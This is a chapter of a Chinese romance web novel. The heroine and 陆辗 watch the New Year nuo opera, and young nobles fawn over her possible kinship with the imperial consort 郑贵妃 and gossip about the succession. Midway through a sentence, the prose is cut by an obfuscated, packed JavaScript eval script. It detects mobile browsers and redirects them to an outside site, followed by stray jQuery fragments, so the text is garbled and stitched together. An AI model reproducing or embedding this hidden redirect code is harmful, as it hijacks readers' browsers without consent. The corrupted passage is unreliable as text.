6. 第 6 章

作品:《陆大人偏要招惹寡妇

    元日的傩戏和社火都是在城北,先看傩戏,天色暗了,社火才开始,我和陆辗一路疾行,从城东往城北而去,一路上看到有好多人。


    我跳起来看着人群,着急地往后伸手抓住陆辗,拽着他打算跑到人群前面去,我回头喊陆辗:“陆辗,陆辗,快点,好多人啊,不知道还能不能挤到前面去。”


    陆辗一副懒懒散散的模样,面上有些淡淡的笑意,任由我牵着他跑,只是步子大了些快了些。


    “今年大家怎么都到得这样早啊!站不到前面,我们又要扯不到龙须了。”我看着陆辗这模样不禁蹙眉,“你快跑起来啊,今年的龙须我们一定要扯到!”


    “梁兄早前来过信,一会儿我们去找他,不必挤。”


    陆辗说的这个梁兄便是和温娘定亲的梁七郎,他爹是前年上任的江州司马,一转眼他爹已在江州做了快三年司马了,他比陆辗大几个月,随他爹来到了江州,也在白鹿洞书院求学。


    我记得一开始的时候他和陆辗还很不对付来着,后来他们俩又能促膝长谈了,我着实是弄不懂他们男子间的知己情意,不过他们俩关系如今是很好了。


    梁七郎他爹是州官,自然是不用个平民百姓们挤在一处,有专门的位置,和他在一起的话我和陆辗自然也不用挤了,这可真是太好了。


    “啊!你怎么不早告诉我,害我这么慌慌张张。”


    “谁叫去年你没扯到龙王的龙须一旬都不高兴,今年你再扯不到又要不高兴,便向梁兄提了一下这事。”


    “他可真是个好人哇!”我一把甩开陆辗,摸了摸自己的鬟髻,偏头问陆辗,“陆辗,我的头发有没有乱啊?”


    陆辗随意瞧了一眼,道:“没有。”


    “呼,那就好。”


    虽说我们有了空位,可,还有一个重大问题,我们得能挤到那边去,而越靠近傩戏台,人越多,再往前去,几乎要行进不了,夹缝越来越小,比肩接踵。


    看着这场面,我忍不住抱怨起来:“挤不进去了,陆辗。”


    我再次抱紧了陆辗手臂,人实在太多,若是一不小心被人群冲散,那是一下子就会不见了人,我小时候便是如此和爹娘被冲散过。


    那一年我和爹娘一起来看傩戏和社火,途中我看上了一个摊贩摊子上的小玩意儿,就多看了片刻,谁知一转头就不见了爹娘。


    当时我心里害怕,挤在拥挤的人群中,没走几步就开始号啕大哭,一边顺着人流走一边哭喊着阿爹阿娘,可丢脸了。


    还好遇到了范娘子,她给我买了糖画,又告诉了巡守的人若是见到我爹娘就告诉他们我和她回家了,范娘子一路抱着我哄着我回了家,我爹娘还未回家,她便将我安置在她家,当时陆辗也在家里,对我一顿冷嘲热讽,挨了范娘子训斥。


    从那以后我就特别怕走丢,特别是去人多的地方,比如各种庙会、集市,总要拉紧身边一起的人。


    不过在我长大后这种害怕就渐渐弱化了,毕竟长大的我已经可以自己走回家去,没有什么好怕的了,只是还是遗留了一些小习惯。


    陆辗比我高,也比大多数人高,他挤在人群中视线和我完全不同,我只能看人脑袋,他却能看到前面,他看了前面的人群后告诉我:“人流还在往那边移动,我们还能过去。”


    我正要应声,忽闻温娘的声音,我听着她喊我:“兰娘!兰娘!”


    我四处看去,没看到人,陆辗提醒我:“最前面,看台上。”


    我跳了起来,终于看到了温娘,她正在对我招手,我也伸出一只手招手回应她,喊她:“温娘!”我在这儿!


    “快到这儿来!”


    “好!”


    没想到温娘也是和梁七郎一起来的,她家虽是商贾之家,家教却很严,虽然她还是很叛逆,重大事情却还是很听他爹娘的教诲,在书院时温娘便不轻易和男学子混迹在一处,除非必要,只会在讲堂、学斋、女学子斋舍这些地方游走。


    所以,温娘极其爱待在一处安静的地方看话本,我和她交好,总同她在一起,在她极力推荐下,我也喜欢上了看话本,我们就这么一起从看普通只有文字的话本一直到看起了画了图的禁忌画本,这真是,互相在对方那里留下了许多把柄。


    温娘就是这样一个奇女子,她长相可乖巧甜美,平时也是规矩守礼,实际上“博闻强识”,性子野,常常做出叫我瞠目结舌的事。


    嘿呀,她定亲了就是很不一样哇,她爹娘竟然放任她和郎君一起出来了。


    我和陆辗随着缓慢移动的人群挪了好一会儿,终于到了看台那儿,我们顺着两级台阶上去,也到了看台之上,介于我们是因着梁七郎才得了便利,自然要先拜会梁七郎。


    这看台之上除了温娘和梁七郎外,还有梁七郎两位自长安远道而来的好友,一位是吕十二郎,一位是岳九郎,我们互相叉手行礼,自报家门。


    本来就是寻常相识,不想那岳九郎听了我的名字竟特意问我:“娘子是荥阳郑氏之后?”


    真是好生奇怪啊,从小到大我都不曾在意过这个,也不怎么听旁人说起,最近怎么好像总是听到荥阳郑氏。


    荥阳郑氏的确是当今望姓世家,骤然听人将我和荥阳郑氏同时提起,我是极心虚的。


    就像当初书院山长一开始听闻我姓郑对我格外的关照,后来发觉我是一根朽木,那叫一个惋惜,直言我这样的出身怎么会课业那么不好。


    当时我是不敢辩驳了,还好陆辗帮我向辩驳了,还辩得山长说不出话来,那时候陆辗在我眼里就像闪烁的星子一样,闪闪发光,我想的是我要是有他那口才和勇气就好了,奈何我平日里也算牙尖嘴利,遇到真正的大事就脑袋空空讲不出话来,实在是很烦人。


    我家攀不上那荥阳的郑氏,在我看来,我家与如今的郑氏也就是同样姓郑而已,没有什么联系,被人错认,便是同根同源我也并不感到骄傲,是心虚更多,别坏了人家的名声才是。


    我真不知为何他人包括陆辗都这样看重一个姓氏,好像我姓郑,便有什么不同似的,难道不应该看当下吗?后来我是知晓了,确实是有不同,同族同运,便是没有交集没有来往,也无法解离。


    其实自从推行科举后,寒门得以崛起,各望族影响力逐渐削薄,寒门能科举,世家同样也能,他们还掌握着大量的书籍,比寒门更容易接触到学识,自然是瘦死的骆驼比马大。


    到如今,世家望族依旧势大,依然受人追捧。


    “祖上出自荥阳郑氏,关系很远。”我简略答他。


    岳九郎方才冷傲,只随意行礼说了自己名字,谁想到他问了我话后竟然又态度转变,郑重喊我:“郑小娘子,方才失礼,还望见谅。”


    我有心想说什么,思来想去,还是算了,只微笑应他:“郎君礼数周到,何来失礼之说。”


    我这算是不是仗了郑氏的势了?他乐意如此便如此吧,反正很快就会发现不过同一姓氏。


    我拽了拽陆辗,却看到陆辗正在看吕十二郎,那吕十二郎则正在打量我,见我望他才移开目光,忽而叹起:“郑氏一门果然出美人,如今宫中正得圣宠的郑贵妃也是出身郑氏。”


    梁七郎闻言附和:“我尚在长安时便听闻郑贵妃之容色冠绝长安,可惜不曾见过,听闻郑贵妃貌若神女。”


    “真的吗?像话本里的神女一样貌美?”温娘在一旁也好奇发问。


    岳九郎哈哈朗笑,道:“我曾有幸远远一见郑贵妃真容,确实如神女一般,仿若天上白月光,难怪能得圣人隆宠。”


    吕十二郎道:“不仅郑贵妃得宠,她的亲弟弟亦深得圣上信任,官任左卫大将军,统领南衙府兵。”


    我自然是不知道什么郑贵妃也不知道她弟弟的,也就听他们说说,颇感新奇。


    原来我家还有这样一个贵人亲戚呢,这两个郎君听到我与郑氏有点关联便对我毕恭毕敬也是因为这位郑贵妃,他们说郑贵妃出身荥阳郑氏,却并不是嫡系,郑贵妃是圣人御驾亲征时在路上遇到的,本是同我一样的普通平民,圣人见到她,一见倾心,她便成了随圣人征行的美人,很快她有了身孕,跟随圣人回了长安,生下了皇子后便被封为了贵妃。


    而她是蒙受圣人恩宠成为了郑贵妃后才认归荥阳郑氏,我想着,倘若她没有进宫,没有成为高贵的贵妃娘娘,荥阳郑氏会认她吗?


    许是由于郑贵妃经历这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310286|167266||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    样特殊,他们对待同样出身郑氏的我才不一样起来,所谓三十年河东三十年河西,指不定我也认归荥阳郑氏吗?想一想我是想笑出来,实在忍不住,靠着陆辗遮挡笑了出来。


    此时他们已经说起了陆辗,那吕岳二人忒好玩,在听闻陆辗名气后也是态度大转变,开始称兄道弟起来。


    这两人是梁七郎好友,陆辗不算热络却也没有慢待他们,有一搭没一搭的同他们交谈。


    话头由此起,不一会儿,他们这几个郎君谈着谈着就谈起了京中局势,温娘眼睛一转,我们对了眼神,她拉我去看傩戏,我看了看陆辗,他大约不好脱身,我便没非要扯他走。


    他们郎君好像是比较喜欢谈这些,我爹和四邻吃酒后也甚是喜欢一起对天下之事大谈特谈,那时我总偶尔想一想,倘若他们真的谈得有道理,怎么会不是朝中重臣而只是平民百姓,自然这话我是不敢说的,免不得要坏了他们兴致,还要被训斥。


    我和温娘去到看台边缘去,此刻傩戏已经开场,我一面听着傩戏唱词,一面偶闻几句那几人阔谈的声音。


    岳九郎道:“当今太子是故去的先皇后之子,太子母家失势,势单力薄,不如郑贵妃之子得势,有闻圣上想要废黜太子,册立郑贵妃之子为太子……”


    吕十二郎道:“京中风云诡谲,对于明年科考的举子而言可是好时机,明年曲江宴必定热闹,选对了人,便是选了锦绣前程。”


    听到这里,我不禁分神想着,若是郑贵妃之子当真成为了太子,以后再继任大统,这样算起来的话,我家远房亲戚是以后的皇帝了?这可真是一件好不可思议的事啊!


    这事是与我无关了,我也只想着乐,我是关心后面的话,明年是科考年,陆辗亦要参加明年春闱,他若能进士及第,我想应该会有贵人看重他,只是不知他会遇到什么样贵人,而他也要面临选择吗?


    当官的好像站队是很重要的。


    少顷,傩戏到了精彩部分,那几个郎君终于不再高谈阔论,被欢呼声吸引,一起过来看起了傩戏。


    我与陆辗站在一隅,我附耳悄悄问他:“陆辗,你会选谁?”


    “嗯?什么选谁?”


    “你们刚才说的,太子、十七皇子什么的。”


    陆辗又屈指敲我脑袋:“你还偷听?”


    我自然是睚眦必报,敲了回去,还正经道:“是你们说话大声,我可没有偷听。”


    陆辗被敲脑袋竟还莞尔,倾身向我:“我身在浔阳,哪里知道长安的事,更不知道未来的事。”


    “哦……”我应了一声,又踮脚在陆辗耳边说,“我相信你一定会选对的锦绣前程,一会儿我们一定要扯到龙王胡须,龙王就会实现我们的愿望,保佑你明年顺顺利利,前程似锦。”


    陆辗眉眼间笑意是更张扬了,他还挑眉,道:“我看你隐约其辞,还以为你想说选你们郑家的人。”


    “只是同姓,有点儿渊源而已,什么叫我们郑家,我都不认识他们,为何要叫你选他们?”


    陆辗望着我久久不言,须臾后道:“你这样说,你祖上还是出自荥阳郑氏,贵姓之后,所以……”


    “哪有贵姓之后是平民百姓的,陆辗,你读书读迂腐了,荥阳郑氏?是荥阳郑氏?,我只是浔阳城东的郑家人,一个姓而已,没甚联系。”


    “也是,哪有世家贵女是像你这样的。”


    “我怎么了?!”


    “刁蛮。”


    “陆辗!”


    我是想踩陆辗,竟被他巧妙躲过,我还差点栽下看台,被陆辗拽住手臂才免遭一难。


    我惊魂未定,却是忽然想起方才陆辗似有未尽的话,我顺势抓住陆辗手臂靠近他,眯眼问他:“所以什么?”


    “没什么。”


    “陆辗,你一定有话没有说完。”


    “没有。”


    “到底是什么?告诉我!”


    “所以……”陆辗微笑着靠近我,我一下子慌了神,偏头不再看他,因此又站不稳,被他拽着稳在了一旁,听到他道,“所以,一定要风风光光的。”


    风风光光的什么陆辗是没说,我似乎能猜到,却是不敢再仔细问他了。